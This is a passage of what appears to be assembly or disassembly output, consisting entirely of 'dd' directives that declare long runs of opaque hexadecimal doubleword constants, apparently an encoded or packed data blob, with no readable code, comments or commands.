76CF4F60h, 0E5A85C27h, 6028E4E4h, 1C71419Ah dd 5E30E722h, 2E5B4907h, 1823E819h, 0D86E88EDh, 28274F34h dd 136744C0h, 0E88B263h, 9399739Ah, 4B0EE562h, 0F12E84A3h dd 70268FF8h, 380BC200h, 0C7AEFE1Fh, 0CADD0E39h, 0E9EB05CBh dd 6E91C81Bh, 0C6B10103h, 27001429h, 50207674h, 0E97CEA36h dd 0F488624Eh, 0E47501A8h, 1BAB0E71h, 0C81DC0FCh, 0AFF6F472h dd 0E8FBAE26h, 74164676h, 416F7400h, 83215D3Ah, 49849886h dd 6A079CCEh, 25F505C0h, 0E04CB645h, 0FF3E553h, 7C05D4CEh dd 88928454h, 204317Ch, 0B86889B4h, 0F3CFCBC0h, 63FE12ACh dd 71900585h, 88AD4Dh, 229C8C6Ch, 0E2C421h, 8FF5315Ah dd 0ACE8188Ah, 8306403Dh, 5C9977C7h, 26AAC943h, 2144820h dd 72AE730Bh, 38582194h, 179A2E44h, 1865F84h, 0EE9D2D0Ah dd 7482D07Fh, 0D7C59001h, 6DA22F96h, 2DFFE442h, 23A43460h dd 5940D182h, 0D51829h, 0F6DD3C8Bh, 5B4664A9h, 8EB4130Bh dd 0E47C384Dh, 4A6B0095h, 0A02A9C54h, 963F925Fh, 3E2779C7h dd 0C208216Ah, 9C3D18B7h, 41499205h, 6FDEC137h, 0F5E040B3h dd 0A8482E1Bh, 338DA080h, 0FCCA4830h, 648B6313h, 129C0C88h dd 0B003AFE9h, 649FC9B4h, 7B680093h, 11E6FBFh, 460070FDh dd 0A4FB51E6h, 169DFACAh, 1F314A39h, 802E9E7Ah, 32C008E3h dd 510391EBh, 697298FCh, 606BA2E9h, 3667CE3h, 5DE36508h dd 0AC04490h, 76F88B47h, 6E841000h, 0F970C545h, 75A84808h dd 4792F41Fh, 100C680Eh, 0FBC6379Ah, 679D220Fh, 0FE0A6CFCh dd 80E53905h, 823E1F87h, 0A86149E4h, 0FE14E057h, 8C2F544Eh dd 0F02D2A23h, 938F0435h, 82378A65h, 4E10E970h, 0BC209D92h dd 0B5CAF7Ah, 0CC404F4Ah, 0E8DA1863h, 0BB5F001Ch, 0CE2EED3Ch dd 5B00A936h, 10FA847Ch, 0BAC767Dh, 67982902h, 0C4A14464h dd 0FEE11831h, 0E99B2699h, 0F0507188h, 2101E7C0h, 2A189420h dd 463A0EFEh, 0CA3FD2BCh, 65C00126h, 392CC70Ch, 68A09DFBh dd 0BB537351h, 0DA344800h, 6F881FDh, 0EE6C019Bh, 0B6D5E021h dd 0BC083CDBh, 401C8C2Ch, 0D93A8346h, 608C9218h, 42A20AFh dd 0BB918A24h, 44A6F20Fh, 14A9D00Eh, 0CC01ACACh, 0B69F7FBCh dd 0CFE1F7A5h, 2DF20022h, 0DC55D833h, 8BA74F65h, 0C026C8B0h dd 0B8B1698Dh, 4E7720Bh, 0D850CBCEh, 0B645682Eh, 41F54468h dd 10DBC598h, 0FCB8D47Dh, 61C2801h, 8A0AF3FAh, 126D96C8h dd 0DCD7D8h, 0A6BCCD2Ch, 8C9C9F42h, 0E4BB1084h, 0D52758A8h dd 2EE45CE5h, 587E3962h, 0B9044540h, 2B1F05F5h, 214DF65Bh dd 0D80221F4h, 0D8036518h, 0AF97C5B1h, 44B9FEBh, 0ACE292B8h dd 5B305AF2h, 4FDA480Ch, 7EF8FF00h, 0C92C17F4h, 48058A4Bh dd 0C4C69378h, 2E220BB1h, 0D4AF547Dh, 1CF1A249h, 0C288003Ah dd 0C4B9F3D2h, 7A3E0E82h, 0B120ABF6h, 5B3013FBh, 683CC200h dd 4EA573EBh, 0D93328D0h, 99F098ACh, 182BF114h, 0E424006Eh dd 0AEC2F84Bh, 12505882h, 6209CBC8h, 0C6912FE9h, 0AF08DFD8h dd 0A8D0146Bh, 80002AC7h, 0D8C6E3BEh, 582360h, 0DAFF56Eh dd 686778EFh, 516439CCh, 9A081805h, 5CA00893h, 7C0120D6h dd 45692E62h, 0E16C5B10h, 0F0D2367Dh, 0ECC8848Bh, 0ACC30AC0h dd 0E9525F3h, 40CC60A7h, 19B64294h, 0F6D00600h, 960B730Fh dd 7F68071Dh, 47C4A137h, 0D2DEA1E7h, 82B2FCFCh, 35444E09h dd 0C008EDFEh, 9D32223Ah, 0C7081900h, 0F5F06E2Bh, 4C0E3065h dd 8869D329h, 7052D401h, 14B4DD22h, 0B415420h, 18A3F758h dd 3D1F9420h, 5258F28Ch, 44034BE4h, 0ECC8EF23h, 4ADC2CA0h dd 0FFB8907Ah, 0A912A006h, 0D8A24D95h, 0E682360Bh, 905AEC29h dd 58C46C85h, 571C1060h, 0BCDD8000h, 81BF3D40h, 0D3774F05h dd 10E30460h, 96727901h, 0D6C3B0EDh, 4A0A5C20h, 0C878CB97h dd 1478C1ECh, 9F41C4A8h, 0C6974A12h, 17EF8A0h, 0FC625F45h dd 921B01A6h, 0D8CCC880h, 6800E926h, 0DB5927C0h, 0E09C5678h dd 192527Eh, 9766B224h, 529BB06Dh, 7C6AF6C0h, 584CFC5Ah dd 8C26E8A8h, 0B5831704h, 1CB9FBEBh, 28A3C700h, 45A85FDFh dd 38384379h, 9C3524D1h, 0D6CF3C60h, 9A88A059h, 0FB3F2DB0h dd 0C0BD24E8h, 0DBCC1E1Fh, 6B9B9C07h, 1CC20105h, 0ACB20FCh dd 0BE09425Bh, 0C5AD65C1h, 67EBE49Ch, 0F9B86E33h, 807CE8D7h dd 1018C4C0h, 5C005058h, 646F980Fh, 57706D9h, 92891C26h dd 194A29Fh, 1AA1DEBCh, 0BC38C2F3h, 0C48439C5h, 0CEE4161Ah dd 6DB10D0h, 23BC2E93h, 0C9A60024h, 7144FD55h, 0E3C5102h dd 80C604B1h, 4E8A9B40h, 0A62F8146h, 794B8470h, 0E99F00C4h dd 74360ACAh, 1D01B57Ch, 52E63039h, 6ECCB9F2h, 883E5E3Fh dd 8500BA2Ch, 9E67E478h, 10D90DCh, 3E80D797h, 0C91AFED4h dd 27F4323Ah, 66C20FDh, 58A7F6h, 0DCA914B1h, 177D9B2Dh dd 0C0B69A78h, 3CECBD81h, 7C0893D4h, 3AC57E5Ch, 311E027Dh dd 7997DF75h, 185EF194h, 427C04A0h, 0F2F02A32h, 0B1AF0010h dd 0D40C38ACh, 9E88F675h, 5A46D484h, 0BADFB603h, 0ADB078A0h dd 0AC266D4Bh, 0FD11385Bh, 76038604h, 9B72C00Ah, 4E51A6AAh dd 54226ED4h, 29A3090h, 0A3B05811h, 0BC802C88h, 55AF0232h dd 36E404F7h, 0B8FE1444h, 92CC805Ch, 8CB71h, 0ADEF8E0h dd 7A87A742h, 0E8D17035h, 5AF220A2h, 2EFA430h, 7DB8D61Ch dd 0DA80EDAEh, 0F696C124h, 0A74FEC90h, 3E541020h, 0CA500F2h dd 6A3A203Ch, 5FEE5047h, 0DA0E0B79h, 51B3058Bh, 0C448C04Ch dd 72C0304h, 938E2AFh, 51CFA293h, 182C7168h, 6F040B87h dd 0F4A1DFC0h, 6652447Eh, 3353A22Ch, 763D26C8h, 0CFC45606h dd 4FF8654Ah, 0B644177Ah, 3676B160h, 0C57B2DCh, 440EA0D0h dd 0C4013E71h, 0C0A708Dh, 6C0E169h, 228917Ah, 883C86Eh dd 625AE0DAh, 182FC017h, 0E00F323h, 0C2A04036h, 0E47D0053h dd 0C12A9FF9h, 9D805756h, 74010267h, 3D5C7306h, 9B5FC4E0h dd 58D4DA52h, 2FFB12FCh dd 41DB98A4h, 5BC0F0CBh, 95A90F60h, 31AFC405h, 50585EDAh dd 2C173A30h, 2381ACDBh, 7C61D4C6h, 0F90F1250h, 0A6373C80h dd 4DE928CAh, 0BC9A0550h, 0C06FA2E7h, 95778338h, 81294E04h dd 0F4A823B8h, 57CB1201h, 533A9FCAh, 40093DECh, 0E1A27A99h dd 5082BDA8h, 2588723Eh, 0F55B8480h, 0BF088Ah, 0E5C06AF0h dd 45050BBDh, 6884B462h, 0F58B0188h, 0F464EAAAh, 81B880h dd 0CB5BA698h, 306B7853h, 54B6A5F0h, 53465Eh, 1CE88C3h dd 90CFC8BDh, 5C3DBD49h, 0B9D12200h, 42F80C7h, 3472A7F8h dd 0CEFCA884h, 0C50106Ah, 0B7E098F1h, 87F09C10h, 1FBA8214h dd 706E5B98h, 53CDC00h, 8508E4D2h, 13FB8A3Fh, 18F034BBh dd 7805887Ah, 0FEF0A09Dh, 6432AF3Ch, 0A25B9807h, 0A49C00ACh dd 0D7AD6613h, 8ABF007Ah, 2872515Dh, 0DD014C2Eh, 0E5E7830h dd 0A431F607h, 236C2F2Eh, 8C97005Ah, 0BFF5A4B3h, 60E71F25h dd 1B74030h, 4A4191F3h, 3D7D055Ch, 630E3F94h, 0E8CDBF41h dd 0D3CAD743h, 0E7D808D9h, 0B9441580h, 904FEB68h, 3CC94C3Eh dd 16E80E10h, 2CC8FC7Fh, 67D88B22h, 2E00E99Bh, 73DAF694h dd 0EF04DDh, 0A4B20DFBh, 0C38A7D7Ch, 82123CF8h, 641D0638h dd 0EC648CA6h, 9AC29E67h, 809C66C4h, 426F8000h, 11E9E6Dh dd 495E248h, 0EDC86A8Fh, 0F8C886F2h, 2706FD44h, 0E881EFD8h dd 228A16F5h, 30EDF2FCh, 9BFE4928h, 0C0968227h, 4EB856D0h dd 998CC097h, 47585BE1h, 0A20048E4h, 807A0271h, 0C4838C7Ch dd 5077509Fh, 41D5D818h, 7D91F0A2h, 50E441C1h, 6E3BD1FBh dd 0BEE338FCh, 0B0260225h, 8A325CBAh, 4674F4B8h, 4DC3950h dd 2DAEAC1Bh, 409FB082h, 805CC208h, 60376B30h, 72976024h dd 0C54882A9h, 0A44301A9h, 98003ECEh, 3F995B6Fh, 0C24202D5h dd 625C5410h, 9E13845Eh, 94B95CD4h, 9644B4D2h, 2DCC9858h dd 85A81041h, 39900053h, 9B4802DAh, 12884FFEh, 5CD213B0h dd 0FB984B23h, 2E0B8DAh, 43EC1C04h, 20BBC75Fh, 5178564Ch dd 2F6C2E00h, 0A0260C2Dh, 67C40084h, 0EC4D03F4h, 831EFF7Eh dd 3FD5A296h, 0BCDA0834h, 9FC80233h, 0EC8172F4h, 2F586B10h dd 0C12C8001h, 0B00056BEh, 721C3C9Fh, 5988310h, 20B7C420h dd 980BFCAEh, 2E5FC0BCh, 97D12B60h, 802B91D4h, 63133D81h dd 0E32E04FEh, 884E72CDh, 0B939DB88h, 0C474001Ch, 81D27E7Ch dd 28765C73h, 60D15E05h, 0F230B26Bh, 7DE2302Fh, 0B6039500h dd 4CBAAED3h, 0B0C9230h, 90D2450Bh, 0D84008E2h, 7821577Ah dd 1859D904h, 0ACA23C24h, 1737B400h, 40DAA444h, 9D501948h dd 4F2759D0h, 33CCBCC8h, 0B7671E00h, 0C953277Ah, 1C4EEED0h dd 809747EAh, 986AF0BFh, 795D0B13h, 0D5B8ACh, 55AA94D6h dd 0B39FE06Fh, 591B2300h, 0A6E56299h, 1897583Ch, 99755086h dd 4843795h, 0DB9ACE45h, 6B5E113Ch, 193C8202h, 0EA02FDFAh dd 8AD4DCF0h, 260C1150h, 16CB0017h, 2589E379h, 4D65F903h dd 3E64F399h, 91103618h, 0D7D40E34h, 0E966177h, 1CE05FF6h dd 51DA00F4h, 0CE5E874Fh, 0A8447195h, 0DCE3070Ah, 1041D731h dd 72CE5904h, 2C3A14F8h, 3C40611Bh, 9170A0CDh, 0D0430CB0h dd 2608B89Dh, 0C55721C0h, 76072CA0h, 0A1510090h, 0C0CE58F7h dd 0E00315ACh, 41E2DB2Ah, 0B0A00A19h, 3C4CF78Fh, 606675F4h dd 763F1161h, 0D603CEDBh, 0DEF838A0h, 53083090h, 0DB7E2521h dd 6076CA39h, 0FF6B5F10h, 12B10037h, 0DEFEC3A4h, 0E530FD10h dd 0A9D521CEh, 94525007h, 3EB00194h, 8EBA469Dh, 53FED4C3h dd 5EF8D803h, 0CD21161h, 0E11B7DB8h, 85011071h, 4B14C66Ah dd 0AECCD860h, 1AE9039Dh, 0F8770F7Ah, 5F5C2900h, 0FC60F05Bh dd 29730175h, 0E2FD5984h, 4B89807Fh, 7860AC63h, 0D9101D38h dd 0F3F100A3h, 0D8C620F0h, 793C9B1Eh, 0B41BB84Ah, 0A81BF41Dh dd 97728008h, 795D1B17h, 55A0300Ch, 0D80068D3h, 0F8D7533Fh dd 98D2D9h, 42CCF434h, 5B2CF2F1h, 2278B21Bh, 435FF011h dd 2C7717Fh, 184B5CF8h, 0B0836176h, 62B00D10h, 120E08CBh dd 6030F414h, 176D23F5h, 9A791FFFh, 0F82A2Ch, 3137874Eh dd 0EF4A0B55h, 0E8F552h, 3B52C374h, 5B0E6Bh, 8AFF44DEh dd 0AD42369Dh, 0CB2DA8A9h, 0E6794900h, 4FA524F7h, 0AD030196h dd 624E47E1h, 8EBACD9Ch, 90C87630h, 0FFBDE700h, 1967DCCDh dd 3D9AAE00h, 767C8954h, 0DE920073h, 0C72E79ABh, 0DF0046BFh dd 0FB6CEB27h, 527F0F89h, 4E18D458h, 0A2CA811Ah, 3D1FDE00h dd 0FB17021h, 29636178h, 71EA5505h, 6DEFD089h, 5A0C210Bh dd 0E1A20094h, 2541493h, 0CEDCCAFAh, 80A1FCF5h, 0FCDAA739h dd 311316EBh, 0E11E71B5h, 861E4E00h, 205229Dh, 0E09B92A7h dd 10411D2Ch, 2C0015BAh, 0F533B121h, 8051DDDFh, 0ABE64323h dd 240395E4h, 0AFA571C8h, 4D74F8BCh, 8FC1F173h, 722D1E20h dd 0EFD8A081h, 8297002Fh, 3D4588AAh, 8E00A752h, 1C68A14Eh dd 73571D9h, 0A8B69F07h, 0D1A6C0EEh, 1700B1D0h, 0A9B5A7DCh dd 0C6ADA127h, 29780620h, 72703F00h, 0B5B0CDE7h, 0A036005Ah dd 59EF9EF4h, 8820EA1Dh, 0D32D264Dh, 0A66E0333h, 49089D30h dd 3C811CA1h, 0EF74AF0Dh, 0E913DC18h, 7700C575h, 33A9DF5Dh dd 37434E8h, 10921F68h, 0CDF86ADCh, 0AF7324BDh, 7B99E400h dd 0B1623402h, 0EA282FC6h, 8A1ECB00h, 3D010D21h, 0C56D8873h dd 0D0EF4037h, 6175236h, 0C75EA4Ah, 0AC60D1A1h, 18B4E470h dd 0FAB800E9h, 902B97BFh, 34000A99h, 360F4A66h, 3273B341h dd 0C339A92Eh, 5134B380h, 0F106FADFh, 991DA6ADh, 119403E9h dd 7C0C2493h, 0A0383100h, 16ECFAFDh, 0C9E500D0h, 0A6619247h dd 0AC002C51h, 0E185376Ch, 0C3A70F3Fh, 74B2C150h, 94F8CFFBh dd 96000C33h, 431EEE8Ah, 71D9DE10h, 0FC407BFh, 0B43E4Bh dd 0C1D8EA11h, 0EE00C571h, 285EB1A1h, 0FA5C739Dh, 0E2E35C99h dd 0A8F0E407h, 684F7F29h, 0B0640356h, 18C6E523h, 859DA338h dd 5F5BA991h, 0B0D5206Ch, 2440C1D1h, 0D09FDFBEh, 0AC009E7Eh dd 17D29CE4h, 3EECDB60h, 8E0727A3h, 7096B852h, 2BA5D65Ah dd 90ADAA04h, 84399FDEh, 5693B481h, 24941410h, 0B75DE907h dd 8980DFECh, 646D556Eh, 1000AF7Fh, 2197DD20h, 5B2DA0Eh dd 0AD60CFA0h, 83458ACh, 80A0E05Fh, 1AE7C3C9h, 0B9F8A0D0h dd 0C2B78000h, 650D669Fh, 0C8DA0017h, 0A9D97BB6h, 0A7079C26h dd 0BE9E1B52h, 982504E0h, 78DF00C5h, 54CDC8B0h, 1D0BEBFEh dd 8086A7B8h, 3024BE76h, 8C29C823h, 2BEE7242h, 6D296A0Ch dd 4291FE20h, 0EA447CA0h, 48E244AEh, 0B4511C64h, 11ED1A21h dd 4B13E3CAh, 0C84229DEh, 21DEB311h, 1BF20896h, 3500DC91h dd 4CAD8647h, 0D70573EFh, 63CE5ABEh, 967E5B81h, 0B1B7FCh dd 2FF14A87h, 8D32093Fh, 0A8BB2E00h, 92D4DC5Ch, 3E70E9h dd 7E552A67h, 0F951442Ch, 52BAC807h, 0D05060BEh, 2D2218h dd 1E3F09AAh, 3203403Eh, 0BA048300h, 2CCB959Dh, 93870201h dd 43020961h, 0C28CEEC0h, 483BFC05h, 0BF00CB29h, 47A1450Eh dd 33BB0281h, 0B2BC5CB3h, 2A913FE0h, 20440200h, 9F55630Eh dd 48A600D6h, 3ED1F6E3h, 0D33F1E6Ch, 0E2432E38h, 0D05E4200h dd 0F1E6DFh, 0DBCE9139h, 0B53E485Fh, 98CDD800h, 1121052Bh dd 0C3D90062h, 7F7A9996h, 3E03BA36h, 0C242A1EAh, 5728F09Ch dd 21FE615h, 7EAC48B7h, 7E6021C4h, 0D8FB5241h, 0E000322h dd 9C67E704h, 0EB49FAh dd 0BACB5A1Bh, 923201A5h, 0C3BB9000h, 0ED5DBE9Fh, 2C7758E9h dd 0CE2F6C00h, 0F106E0A4h, 9B321600h, 0DB1D8AEAh, 16657BD0h dd 1E935F3h, 0D750D406h, 6D09FC1Fh, 54010DEEh, 0B15BBBB6h dd 5030BE67h, 7087007Dh, 7434AFEh, 0E7006930h, 9DE480F3h dd 0FC60673Ah, 7F97186h, 375E4381h, 0B0C2972Dh, 0C7680B88h dd 59A73000h, 31208589h, 18E7FE06h, 10512FD3h, 21084AC9h dd 952CD96h, 4300429Ah, 0B09A465h, 0F95FAD07h, 35C1B48Fh dd 2FE48267h, 0D19F1E66h, 0F5924290h, 8484C4A5h, 0E4EA0040h dd 8ED3E0h, 41FC253Ch, 8BC2C79Ch, 0CC2B100Eh, 920A40E2h dd 5EDC11h, 0A58D30BCh, 0DBB64533h, 282E93FCh, 8A0076FFh dd 40FBE4F5h, 73790037h, 5A0FAEEEh, 62007A28h, 359CE72Dh dd 1CC08C7h, 0E08B892Bh, 20DD98BFh, 41075E9Bh, 452C3880h dd 7A08B5F0h, 0B3740758h, 10064056h, 5A078AEBh, 0B0B7F900h dd 711DB486h, 92FF00D3h, 0D8CD7BFBh, 0C160FEB8h, 0AD8F89F8h dd 335E3971h, 2FDDF080h, 6EE9AA62h, 0D0ED4707h, 0A17502Ah dd 1BBCE1E0h, 0F77733Bh, 0F7BF8E04h, 303680C0h, 0EE142E3Ah dd 24F0CB48h, 0A20080DCh, 95BC0774h, 0B2A50786h, 9015BE1Bh dd 0B9BF4FAFh, 0C952DF01h, 40115497h, 7C433D70h, 0FCCD00B0h dd 28A7919Ah, 98B0820Dh, 0E8460424h, 9D569000h, 0FC755BEh dd 0AB41F237h, 129584C0h, 0CDFC1A10h, 0A692203h, 0AF714651h dd 40EC1C02h, 143C2h, 2F1A3BBBh, 0B959B87Dh, 85075100h dd 32BC8928h, 0C84A00A6h, 0C4E11F2h, 0B2001F7Dh, 4569A168h dd 0E6F8281Bh, 26BB03FFh, 0BF4AD5F6h, 6C8ADFF0h, 5AA62C01h dd 312D3280h, 82C48CF9h, 96640F99h, 0C009B1FAh, 0AAA62801h dd 0F4E3D693h, 19E826F0h, 0C4A02A71h, 0DAA212A3h, 0F3EB7640h dd 0B3182861h, 3EDCC786h, 98110075h, 88E09597h, 82003339h dd 8038ED06h, 16CBA1h, 18FCBBB2h, 53D24D24h, 601C44E0h dd 87B9CF28h, 99045C84h, 3BCE4EC0h, 83590FECh, 0A202438h dd 1C2AF018h, 0A7B67200h, 7FCED499h, 76F600BCh, 6707DF0Eh dd 8200C913h, 0F7EE4AE2h, 1D4FEB9h, 124C79ADh, 21640D71h dd 68E8803Bh, 0B168AF4h, 0CFC3078Eh, 6F93A3B6h, 5B1E9A1h dd 0D5C1DCD4h, 0DF00F27Fh, 1513322Bh, 7DA3425Fh, 6C8600C2h dd 783116F3h, 0CF031703h, 8F22498Ch, 873DE806h, 7C59006Eh dd 57CE5C09h, 0AA3AA5C0h, 80B6B827h, 0ABE47B68h, 2E831D4Eh dd 1A524BDh, 94180D86h, 70D8D7D6h, 0A726B3FFh, 3F50745Bh dd 399A09BAh, 4CA05669h, 85CDCBD5h, 0D0FCDB01h, 0FF1AA197h dd 9E580EEh, 737F0E9h, 0A4FB2E39h, 0D0E6724Bh, 29679060h dd 0DCEEBC00h, 0FA04DA94h, 0AEDF0037h, 0B377BE89h, 381D2F76h dd 414B704Ah, 9D540032h, 4ED31Bh, 0FE862D4h, 0BA0B5D94h dd 16FC0618h, 13A7C84h, 73957836h, 0DCDDE2E9h, 0D90057B2h dd 6F9F5988h, 777FB30h, 390D8797h, 5313E071h, 0C101B4F2h dd 3031CFFEh, 3880CB22h, 46FB61A0h, 900342CCh, 8CED51C6h dd 0DB5AF039h, 3CD0EF63h, 3F70335h, 9F74AC0Fh, 0F440C5C2h dd 0E21F1CD0h, 10806876h, 0A779BAE0h, 19D307CFh, 0C063B3DBh dd 953EE24Eh, 2D0078F4h, 5D6BE104h, 1C37674h, 0B3CDB18Bh dd 0D8162124h, 3F40E08Ah, 0B91A2C5Ch, 46AB40DCh, 0BF0A5F8Fh dd 81BA9EB1h, 0D1910Bh, 0AB868A08h, 24714Fh, 0E307CA9Ch dd 96BF173Fh, 0E71C3075h, 1D815BD8h, 50A9E203h, 7200FC62h dd 0FEEC9B9Ch, 101E68Ch, 4C90D9A1h, 11E4855Dh, 0A33E0C3Fh dd 41C9F1B8h, 0E063Ah, 0BF7ABDBBh, 732E7B7h, 0E072D85Fh dd 783CA1A1h, 6BD83580h, 5AC2A0h, 0F42D1092h, 7FFD26Ch dd 82F79400h, 84DCBC6Dh, 0CAE600A2h, 5ADFBBEAh, 48E40670h dd 0CC6F0400h, 0BF16336Bh, 855F12C5h, 0B4AC0EC6h, 63B2DF40h dd 1800843Ah, 0EDC987D1h, 0A09298C0h, 0A2F48Fh, 0AEFC6DEh dd 0E06757D9h, 77662900h, 9FF97410h, 0B0CD48C5h, 99FB726h dd 0AC0047EDh, 0F181A9B2h, 0D872B803h, 0E0B3C2FFh, 1D5E3887h dd 8021ED62h, 9971856Ch, 0ACB0A8C9h, 5BBE4400h, 3B35D10Dh dd 0F2050013h, 770FB76Eh, 5C724333h, 783AB500h, 0B97B91E9h dd 7E7E0ADh, 729D8B76h, 0C01C857Fh, 12EB2F26h, 0E10B85Ch dd 601D4644h, 95B3A038h, 76F20091h, 0A434019h, 92003DEBh dd 5A3EF7E5h, 15D1D11h, 2D5EF62Bh, 0C8ABE7FBh, 40001F4Ah dd 3B28EEB2h, 495B5Ch, 0A0D882EAh, 358B8ADAh, 0BCFB4Dh dd 4DAA2FC0h, 0D602DDh, 656F0E2Eh, 2B8A327Fh, 7C1C912Ch dd 0F817201h, 0F0C78724h, 0E6DFA6A9h, 7EDC120Dh, 79C80074h dd 2581B035h, 19D26D00h, 89662348h, 0F2551F75h, 45030078h dd 0C11CB0C5h, 9DEBC00h, 0E66AEC21h, 1E74F3h, 38E8324h dd 0EC15C41h, 0EB9AB900h, 9F26267h, 0F3151D66h, 9B5181DEh dd 0FA7B7E42h, 1F6FB160h, 0EA961402h, 40C13943h, 0EB3A814h dd 4E4B56CBh, 63F50E00h, 0E400F1D2h, 1245EEB4h, 113FE54h dd 0ED1E03B1h, 2B554873h, 5B5B0h, 0F9ABC980h, 49C572D7h dd 48D7E29Fh, 39B5C6C0h, 0EC80A1FDh, 65706BA8h, 0AC095F9Eh dd 80AFF1D6h, 0B70964A5h, 486C2E22h, 9ECD0094h, 0F6C4CC1Bh dd 6936CA00h, 9F80095Dh, 0AC0C0992h, 5200D15Fh, 0FCA5A282h dd 2A540118h, 1C90D310h, 805B041Ch, 0A57DBDF2h, 8E2468E8h dd 0BC00D114h, 0D1DB7F86h, 2E1DF619h, 4E06F46h, 3C75D5Fh dd 80B1377Ah, 0BF2FA4h, 0C2211E8Dh, 0BB11CA2Dh, 93096100h dd 0B1F995AEh, 8A1F05F2h, 80368937h, 5BC0F7AAh, 9A4727h dd 0EC73A7ACh, 0BBE1487Bh, 9588127Ah, 4C108060h, 69017D0Bh dd 72261B12h, 32205330h, 83D1A06Bh, 34545C05h, 0BC632E00h dd 1EACF982h, 5A4C4D00h, 317950C7h, 2CB011h, 0D3214247h dd 0C6A89899h, 0D416D200h, 8953F222h, 0B849C043h, 7902A9F6h dd 0FAC52E06h, 0F6189772h, 8B07059Dh, 0C0F3F73Bh, 0BDAA4972h dd 73CE9506h, 17984497h, 3D2733h, 6FF6BABFh, 35007DB8h dd 0DA343699h, 71B44A7Ch, 17493951h, 94A728h, 0D9FE14D5h dd 0CAB0295Bh, 4E00CDEEh, 0AB4DC134h, 61E8C3h, 0F4277B2Ch dd 43BFEBD1h, 6E88035Ch, 41548728h, 2C00534Eh, 508F878Ch dd 0AF140E0Ah, 708F0E88h, 0FA565961h, 30D8808Dh, 63833591h dd 0D39301C5h, 0D7C3927Fh, 0CCB4C44Fh, 8530743Fh, 0CA849C8Dh dd 0D318D000h, 0B0EE49h, 0C3F80577h, 1A06326Eh, 0CB232800h dd 0FD95C7ABh, 0DD9027h, 694C5713h, 0F8BC84C2h, 0D5308800h dd 496C3A15h, 42B90B4Eh, 48010898h, 60015244h, 0C0008373h dd 9E85FB3Ah, 201D19h, 0D38C4DF0h, 2128F95Ch, 31E4590Ah dd 0B828B416h, 8473E300h, 3B3F43DDh, 1E1A041Bh, 0C02D67F2h dd 7A19B40h, 20487100h, 0F54AAEA0h, 20CF5C77h, 89099400h dd 25D601C8h, 0B46A9902h, 608267F6h, 15F73Eh, 142D6147h dd 190507E0h, 0FA919004h, 38A0533Bh, 2D09072Ch, 0C0E3C8AFh dd 0B0EA3AB4h, 0A2F15600h, 636AF513h, 892B00C7h, 0DD0A59D8h dd 340C4A7Eh, 18C474D6h, 3A140228h, 0B85291FCh, 9CCE5040h dd 0C3E0DF18h, 0D75A20h, 610AF1C0h, 6EE8713Fh, 8E949E3Fh dd 20A9E516h, 0D0A7C19Fh, 1BD700C4h, 0DFF56A3Bh, 100A421h dd 0DC8DE169h, 0CA1D63h, 312CB135h, 1C66EAA0h, 8E620800h dd 3F2B718Ch, 0EF450538h, 80CC031Bh, 0E660D75Ah, 8C39A000h dd 0FB7A2781h, 0A840034h dd 1922A99Fh, 0CC9CEE9Dh, 788E0038h, 6399122Fh, 0BEDD281Ah dd 880C2C90h, 95A180A0h, 0AE3C9DB0h, 705025Ch, 9FB7EB1Ch dd 0D881B630h, 2E513C12h, 7FC0C607h, 311AB0AFh, 72006778h dd 0E8D5A43Dh, 988A90D4h, 0D80A0094h, 0F1A6A869h, 4A5C4D44h dd 0F3DFCh, 9C59FB52h, 0F737533Ch, 503082Ch, 68DA8CB3h dd 80A22038h, 463AF9FFh, 61946Ah, 624E92E3h, 8126E9B2h dd 0F0EE3912h, 64903480h, 0A81E380Fh, 5C82D680h, 938588BCh dd 9B5FB205h, 0D88090C4h, 3F729151h, 6E8F87F6h, 1D03D812h dd 4DF8B792h, 0DF90F48Bh, 19B69700h, 7E287939h, 9D550011h dd 332B86A6h, 64036B5Ch, 2566487Dh, 366DC05Bh, 0EAAB006Ch dd 37C2BFA0h, 1D001612h, 0B2708322h, 9DDB6Fh, 90C5A113h dd 0C2672774h, 3D4809E6h, 63620034h, 0D14E59D7h, 742400D3h dd 8538431h, 1600CB48h, 0A033F952h, 0F7234B8h, 69583AC6h dd 0D6EA180h, 0C1673BAh, 7C40B567h, 0C2717064h, 0DDC90098h dd 96E575A8h, 29006F7Ah, 0B7CFC165h, 199033h, 26677D80h dd 0B6B8D137h, 2008679h, 5AAF704Bh, 0FA443BD5h, 808DFCFCh dd 73003042h, 0CF884F87h, 80F3E8h, 6FBFC7Ch, 9C10978Ah dd 0BCDE4600h, 0A75F17F5h, 0CECB00DAh, 9FB98CF6h, 1002394h dd 0A6DD9189h, 3187E1Fh, 8E1C7334h, 0F6E05590h, 89003BD2h dd 0CBFE1A23h, 3E58C61Bh, 5E01C9A5h, 0CE8264CCh, 2754F459h dd 7861A41Dh, 1FF59840h, 0F4C2B9h, 912D02C3h, 651562ACh dd 3E45F800h, 0B467FCB3h, 182985Dh, 13F5E22Ch, 7146E0AEh dd 912AFC05h, 0B8E59E30h, 0AA5C98h, 3D99547Ah, 0AE23073Ah dd 5830A001h, 0C64197A1h, 9AAC60h, 36351051h, 0C0A34C14h dd 0DEF8F300h, 0C159C9Dh, 45FC0029h, 0C9D228C1h, 72D2F5Dh dd 0A7500219h, 0DDC460BFh, 0EEA0336h, 569437EEh, 8C011680h dd 0AAAE5400h, 5BE15193h, 0BE5A000Fh, 959C4B0Bh, 34756AFCh dd 0C007C90h, 0A6B1E593h, 59524Ch, 0DC699624h, 0BF6CD10Bh dd 0B4B73Ah, 419C7A6Ah, 0C14BEEh, 0A536BFAh, 0F3A59A2Bh dd 8C4A5B00h, 7BA3F4A4h, 36230049h, 227BD0Fh, 700B280h dd 432B55AAh, 3EC78EC4h, 8B00D093h, 565D2E1Dh, 9F007BB2h dd 5F0A10F8h, 189E3Dh, 4B488443h, 5C3B230Fh, 12081F07h dd 9D40213Eh, 1FA21BA1h, 0C18729C6h, 7774D4FDh, 10FAD833h dd 5EF44900h, 0B0357E7Fh, 0EB0400ECh, 6F11C1F3h, 7C05FC24h dd 0E57DF9Bh, 0E45670D0h, 31FA00DCh, 80390640h, 550EA5F9h dd 0CFD1935Ah, 67009CF4h, 788A7FB0h, 0DD1800A8h, 6B8BE315h dd 0DF01BA0Fh, 0C3AAA580h, 0CB60FBCBh, 1150FDEh, 0ADE91228h dd 3E7350A2h, 5BAB1F40h, 54DBFE04h, 0D9C20D52h, 9064C32Bh dd 201F667h, 88FECFB3h, 9EC07CD8h, 50B8EA5Dh, 875BAC09h dd 30F081A9h, 0ADC8A7E3h, 0FDB50003h, 3E2EA609h, 0E72E515Bh dd 0B4000C5Dh, 266DA2BAh, 42340038h, 5CAFC992h, 